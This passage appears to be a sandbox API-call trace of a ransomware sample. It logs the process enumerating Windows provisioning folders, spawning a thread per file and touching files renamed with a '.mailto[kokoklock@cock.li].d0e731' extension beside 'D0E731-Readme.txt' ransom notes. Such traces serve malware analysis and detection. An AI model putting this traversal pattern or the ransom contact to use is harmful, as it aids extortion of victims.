nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0174.920] wcscmp (_String1="RunTime", _String2=".") returned 1 [0174.920] wcscmp (_String1="RunTime", _String2="..") returned 1 [0174.920] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0b070 [0174.920] wcscpy (in: _Dest=0x4f0b070, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov" [0174.920] wcscat (in: _Dest=0x4f0b070, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\" [0174.920] wcscat (in: _Dest=0x4f0b070, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" [0175.567] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x4f0b070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x998 [0175.568] FindNextFileW (in: hFindFile=0x3045968, lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55ce72cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55ce72cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bf718ac, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="RUNTIM~1.D0E")) returned 1 [0175.568] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.568] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.568] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x305dca0 [0175.568] wcscpy (in: _Dest=0x305dca0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov" [0175.568] wcscat (in: _Dest=0x305dca0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\" [0175.568] wcscat (in: _Dest=0x305dca0, _Source="RunTime.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0175.568] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305dca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658 [0175.569] FindNextFileW (in: hFindFile=0x3045968, lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55ce72cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55ce72cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bf718ac, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="RUNTIM~1.D0E")) returned 0 [0175.569] FindClose (in: hFindFile=0x3045968 | out: hFindFile=0x3045968) returned 1 [0175.569] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9d4e0) returned 1 [0175.569] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30563e8) returned 1 [0175.569] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056a60) returned 1 [0175.569] RtlExitUserThread (Status=0x0) Thread: id = 2320 os_tid = 0xe14 [0174.921] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.922] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.922] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.922] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.922] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90870) returned 1 [0174.922] RtlExitUserThread (Status=0x0) Thread: id = 2321 os_tid = 0xe18 [0174.923] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.923] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.924] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.924] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.924] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305c7d8) returned 1 [0174.924] RtlExitUserThread (Status=0x0) Thread: id = 2322 os_tid = 0xe1c [0174.925] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x30564a0 [0174.925] wcscpy (in: _Dest=0x30564a0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov" [0174.925] wcscat (in: _Dest=0x30564a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\" [0174.925] wcscat (in: _Dest=0x30564a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\*" [0174.925] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9d748 [0174.926] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\*", lpFindFileData=0x2f9d748 | out: lpFindFileData=0x2f9d748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bfbdde0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bfbdde0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30459a8 [0174.926] wcscmp (_String1=".", _String2=".") returned 0 [0174.926] FindNextFileW (in: hFindFile=0x30459a8, lpFindFileData=0x2f9d748 | out: lpFindFileData=0x2f9d748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bfbdde0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bfbdde0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.926] wcscmp (_String1="..", _String2=".") returned 1 [0174.926] wcscmp (_String1="..", _String2="..") returned 0 [0174.927] FindNextFileW (in: hFindFile=0x30459a8, lpFindFileData=0x2f9d748 | out: lpFindFileData=0x2f9d748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfbdde0, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8bfbdde0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bfbdde0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.927] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.927] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.927] FindNextFileW (in: hFindFile=0x30459a8, lpFindFileData=0x2f9d748 | out: lpFindFileData=0x2f9d748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c81633b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c81633b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0174.927] wcscmp (_String1="RunTime", _String2=".") returned 1 [0174.927] wcscmp (_String1="RunTime", _String2="..") returned 1 [0174.927] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0b138 [0174.927] wcscpy (in: _Dest=0x4f0b138, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov" [0174.927] wcscat (in: _Dest=0x4f0b138, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\" [0174.927] wcscat (in: _Dest=0x4f0b138, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime" [0175.565] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x4f0b138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x994 [0175.565] FindNextFileW (in: hFindFile=0x30459a8, lpFindFileData=0x2f9d748 | out: lpFindFileData=0x2f9d748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1df76, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1df76, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bfbdde0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0175.565] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.565] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.565] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x305db88 [0175.565] wcscpy (in: _Dest=0x305db88, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov" [0175.565] wcscat (in: _Dest=0x305db88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\" [0175.565] wcscat (in: _Dest=0x305db88, _Source="RunTime.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0175.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305db88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0175.566] FindNextFileW (in: hFindFile=0x30459a8, lpFindFileData=0x2f9d748 | out: lpFindFileData=0x2f9d748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1df76, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1df76, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bfbdde0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 0 [0175.566] FindClose (in: hFindFile=0x30459a8 | out: hFindFile=0x30459a8) returned 1 [0175.566] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9d748) returned 1 [0175.566] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30564a0) returned 1 [0175.566] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30566c8) returned 1 [0175.566] RtlExitUserThread (Status=0x0) Thread: id = 2323 os_tid = 0xe28 [0174.928] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.929] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.929] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.929] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.929] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90758) returned 1 [0174.929] RtlExitUserThread (Status=0x0) Thread: id = 2324 os_tid = 0xe30 [0174.932] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.933] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.933] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.933] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.934] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305c8f0) returned 1 [0174.934] RtlExitUserThread (Status=0x0) Thread: id = 2325 os_tid = 0xe34 [0174.936] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x3056558 [0174.936] wcscpy (in: _Dest=0x3056558, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov" [0174.936] wcscat (in: _Dest=0x3056558, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\" [0174.936] wcscat (in: _Dest=0x3056558, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\*" [0174.936] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f99b20 [0174.937] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\*", lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bfe40b0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bfe40b0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30459e8 [0174.937] wcscmp (_String1=".", _String2=".") returned 0 [0174.937] FindNextFileW (in: hFindFile=0x30459e8, lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bfe40b0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bfe40b0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.937] wcscmp (_String1="..", _String2=".") returned 1 [0174.937] wcscmp (_String1="..", _String2="..") returned 0 [0174.937] FindNextFileW (in: hFindFile=0x30459e8, lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfe40b0, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8bfe40b0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bfe40b0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.937] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.937] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.937] FindNextFileW (in: hFindFile=0x30459e8, lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c7f00f5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c7f00f5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0174.937] wcscmp (_String1="RunTime", _String2=".") returned 1 [0174.937] wcscmp (_String1="RunTime", _String2="..") returned 1 [0174.937] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0b200 [0174.937] wcscpy (in: _Dest=0x4f0b200, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov" [0174.937] wcscat (in: _Dest=0x4f0b200, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\" [0174.937] wcscat (in: _Dest=0x4f0b200, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime" [0175.562] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x4f0b200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x990 [0175.562] FindNextFileW (in: hFindFile=0x30459e8, lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bfe40b0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0175.562] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.563] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.563] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x305da70 [0175.563] wcscpy (in: _Dest=0x305da70, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov" [0175.563] wcscat (in: _Dest=0x305da70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\" [0175.563] wcscat (in: _Dest=0x305da70, _Source="RunTime.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All 